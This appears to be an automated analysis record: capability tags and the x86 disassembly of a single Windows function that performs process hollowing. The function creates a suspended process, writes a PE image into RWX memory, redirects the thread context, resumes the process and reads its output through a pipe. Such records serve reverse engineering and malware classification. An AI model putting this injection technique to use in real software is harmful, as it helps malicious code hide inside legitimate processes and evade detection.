Function at 0x410bb0
Capabilities:
Allocate or change rwx memory
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Read file on windows
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xaba8
call fcn.004220a0
mov eax, dword [0x44ac68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x28]
xor edx, edx
push 0x40e
mov dword [ebp - 0xaa00], eax
push edx
lea eax, [ebp - 0x512]
push eax
mov dword [ebp - 0xaa24], ecx
mov word [ebp - 0x514], dx
call fcn.00420a60
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x514]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x410c33
cmp dword [ebp + 0x20], 8
jb 0x410c21
mov edx, dword [ebp + 0xc]
push edx
call fcn.00420084
add esp, 4
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042008f
mov esp, ebp
pop ebp
ret 0x24
push 0x43db90
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0xaa04]
push ecx
call fcn.00422ae2
mov eax, dword [ebp - 0xaa04]
add esp, 0xc
test eax, eax
je 0x410c0f
push ebx
push esi
push edi
push 2
push 0
push eax
call fcn.00420d5f
mov eax, dword [ebp - 0xaa04]
push eax
call fcn.0042304d
mov ecx, dword [ebp - 0xaa04]
push ecx
mov esi, eax
call fcn.00423937
xor ecx, ecx
mov eax, esi
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041fdfc
push esi
mov ebx, eax
push 0
push ebx
call fcn.00420a60
mov eax, dword [ebp - 0xaa04]
push eax
push 1
push esi
push ebx
call fcn.00421025
mov ecx, dword [ebp - 0xaa04]
push ecx
call fcn.00420c61
mov ecx, 0x10
mov esi, ebx
lea edi, [ebp - 0xaab0]
add esp, 0x38
mov edx, 0x5a4d
rep movsd dword es:[edi], dword [esi]
push ebx
cmp word [ebp - 0xaab0], dx
je 0x410d0e
call fcn.00420881
add esp, 4
cmp dword [ebp + 0x20], 8
jb 0x410cf9
mov eax, dword [ebp + 0xc]
push eax
call fcn.00420084
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042008f
mov esp, ebp
pop ebp
ret 0x24
mov esi, dword [ebp - 0xaa74]
add esi, ebx
mov ecx, 0x3e
lea edi, [ebp - 0xaba8]
rep movsd dword es:[edi], dword [esi]
call fcn.00420881
add esp, 4
cmp dword [ebp - 0xaba8], 0x4550
jne 0x410ef6
mov ebx, dword [ebp - 0xaa00]
mov ecx, 0x10
mov esi, ebx
lea edi, [ebp - 0xaab0]
mov edx, 0x5a4d
rep movsd dword es:[edi], dword [esi]
cmp word [ebp - 0xaab0], dx
jne 0x410ef6
mov eax, dword [ebp - 0xaa74]
add ebx, eax
mov ecx, 0x3e
mov esi, ebx
lea edi, [ebp - 0xa720]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0xa720], 0x4550
jne 0x410ef6
mov eax, dword [ebp - 0xa6d0]
mov esi, dword [ebp - 0xa6cc]
xor ecx, ecx
mov dword [ebp - 0xaa08], eax
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041fdfc
mov edi, eax
mov eax, dword [ebp - 0xaa08]
push eax
push 0
push edi
mov dword [ebp - 0xaa10], edi
call fcn.00420a60
movzx eax, word [ebp - 0xa71a]
lea ecx, [eax + eax*4]
add ecx, ecx
add ecx, ecx
add ecx, ecx
push ecx
add ebx, 0xf8
lea edx, [ebp - 0xa514]
push ebx
push edx
call fcn.00420520
mov eax, dword [ebp - 0xaa00]
push esi
push eax
push edi
call fcn.00420520
mov esi, dword [ebp - 0xa6cc]
mov ecx, dword [ebp - 0xa6e8]
xor edx, edx
mov eax, esi
div ecx
add esp, 0x28
test edx, edx
jne 0x410e17
mov eax, esi
jmp 0x410e1b
inc eax
imul eax, ecx
xor ecx, ecx
add edi, eax
xor ebx, ebx
cmp cx, word [ebp - 0xa71a]
jae 0x410e72
lea esi, [ebp - 0xa50c]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0xaa00]
push edx
push eax
push edi
call fcn.00420520
mov ecx, dword [esi]
xor edx, edx
mov eax, ecx
div dword [ebp - 0xa6e8]
add esp, 0xc
test edx, edx
je 0x410e61
lea ecx, [eax + 1]
imul ecx, dword [ebp - 0xa6e8]
add edi, ecx
movzx ecx, word [ebp - 0xa71a]
inc ebx
add esi, 0x28
cmp ebx, ecx
jl 0x410e30
push 0x44
xor esi, esi
lea edx, [ebp - 0xaa70]
push esi
push edx
call fcn.00420a60
xor eax, eax
push 0x2cc
mov dword [ebp - 0xa9fc], eax
mov dword [ebp - 0xa9f8], eax
mov dword [ebp - 0xa9f4], eax
mov dword [ebp - 0xa9f0], eax
lea eax, [ebp - 0xa9ec]
push esi
push eax
call fcn.00420a60
add esp, 0x18
push esi
lea ecx, [ebp - 0xaa20]
push ecx
lea edx, [ebp - 0xaa14]
push edx
lea eax, [ebp - 0xaa0c]
push eax
mov dword [ebp - 0xaa70], 0x44
mov dword [ebp - 0xaa20], 0xc
mov dword [ebp - 0xaa18], 1
mov dword [ebp - 0xaa1c], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x410f13
lea ecx, [ebp + 0xc]
call fcn.00406950
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042008f
mov esp, ebp
pop ebp
ret 0x24
mov eax, dword [ebp - 0xaa14]
push 0x43e8e4
lea edx, [ebp - 0x514]
xor ecx, ecx
push 0x208
push edx
mov dword [ebp - 0xaa44], 0x101
mov dword [ebp - 0xaa34], eax
mov dword [ebp - 0xaa30], eax
mov word [ebp - 0xaa40], cx
call fcn.004238c2
mov eax, dword [ebp + 0xc]
add esp, 0xc
cmp dword [ebp + 0x20], 8
jae 0x410f5d
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x514]
push 0x208
push eax
call fcn.004238c2
add esp, 0xc
lea ecx, [ebp - 0xa9fc]
push ecx
lea edx, [ebp - 0xaa70]
push edx
push esi
push esi
push 4
push 1
lea eax, [ebp - 0xaa20]
push eax
mov ecx, eax
push ecx
lea edx, [ebp - 0x514]
push edx
push esi
mov dword [ebp - 0xaa00], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4111b4
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edi, edi
mov eax, dword [ebp - 0xaa00]
mov ecx, eax
inc eax
mov dword [ebp - 0xaa00], eax
cmp ecx, 0x64
jg 0x41119a
mov eax, dword [ebp - 0xa9f8]
lea edx, [ebp - 0xa9ec]
push edx
push eax
mov dword [ebp - 0xa9ec], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x41101a
mov ecx, dword [ebp - 0xa9fc]
push 0
push ecx
call edi
mov edx, dword [ebp - 0xa9fc]
push edx
call esi
mov eax, dword [ebp - 0xa9f8]
push eax
jmp 0x41115f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xa628]
push ecx
mov dword [ebp - 0xa628], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x411064
cmp dword [ebp - 0xa624], 6
jb 0x411064
mov edx, dword [ebp - 0xaa08]
mov eax, dword [ebp - 0xa6ec]
mov ecx, dword [ebp - 0xa9fc]
push 0x40
push 0x3000
push edx
push eax
push ecx
jmp 0x411098
mov edx, dword [ebp - 0xab74]
mov eax, dword [ebp - 0xa9fc]
push edx
push eax
call dword [0x44c0a8]
test eax, eax
jne 0x4110ab
mov ecx, dword [ebp - 0xaa08]
mov edx, dword [ebp - 0xa6ec]
mov eax, dword [ebp - 0xa9fc]
push 0x40
push 0x3000
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x410ffa
mov edx, dword [ebp - 0xaa08]
mov eax, dword [ebp - 0xaa10]
lea ecx, [ebp - 0xaa28]
push ecx
mov ecx, dword [ebp - 0xa6ec]
push edx
mov edx, dword [ebp - 0xa9fc]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41112d
mov ecx, dword [ebp - 0xa948]
lea edx, [ebp - 0xaa28]
push edx
mov edx, dword [ebp - 0xa9fc]
push 4
lea eax, [ebp - 0xa6ec]
push eax
add ecx, 8
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41112d
mov eax, dword [ebp - 0xa6f8]
add eax, dword [ebp - 0xa6ec]
mov edx, dword [ebp - 0xa9f8]
lea ecx, [ebp - 0xa9ec]
push ecx
push edx
mov dword [ebp - 0xa93c], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x4111a7
mov eax, dword [ebp - 0xa6ec]
mov ecx, dword [ebp - 0xa9fc]
push 0x8000
push 0
push eax
push ecx
call ebx
mov edx, dword [ebp - 0xa9fc]
push 0
push edx
call edi
mov eax, dword [ebp - 0xa9fc]
push eax
call esi
mov ecx, dword [ebp - 0xa9f8]
push ecx
call esi
lea edx, [ebp - 0xa9fc]
push edx
lea eax, [ebp - 0xaa70]
push eax
push 0
push 0
push 4
push 1
lea ecx, [ebp - 0xaa20]
push ecx
mov edx, ecx
push edx
lea eax, [ebp - 0x514]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x410fc0
jmp 0x4111b4
mov ecx, dword [ebp - 0xa9fc]
push 0
push ecx
call edi
jmp 0x4111b4
mov edx, dword [ebp - 0xa9f8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0xaa14]
push eax
call esi
push 0xff
lea ecx, [ebp - 0x103]
push 0
push ecx
mov byte [ebp - 0x104], 0
call fcn.00420a60
mov ecx, dword [ebp - 0xaa0c]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
push 0
lea edx, [ebp - 0xaa2c]
push edx
push 0xff
lea eax, [ebp - 0x104]
push eax
push ecx
call edi
test eax, eax
je 0x41124c
mov ecx, dword [ebp - 0xaa24]
lea edx, [ebp - 0x104]
push edx
call fcn.004085e0
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00420a60
mov eax, dword [ebp - 0xaa0c]
add esp, 0xc
push 0
lea ecx, [ebp - 0xaa2c]
push ecx
push 0xff
lea edx, [ebp - 0x104]
push edx
push eax
call edi
test eax, eax
jne 0x411202
mov ecx, dword [ebp - 0xaa0c]
push ecx
call esi
mov edx, dword [ebp - 0xa9fc]
push edx
call esi
mov eax, dword [ebp - 0xa9f8]
push eax
call esi
mov ecx, dword [ebp - 0xaa10]
push ecx
call fcn.00420881
add esp, 4
lea ecx, [ebp + 0xc]
call fcn.00406950
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0042008f
mov esp, ebp
pop ebp
ret 0x24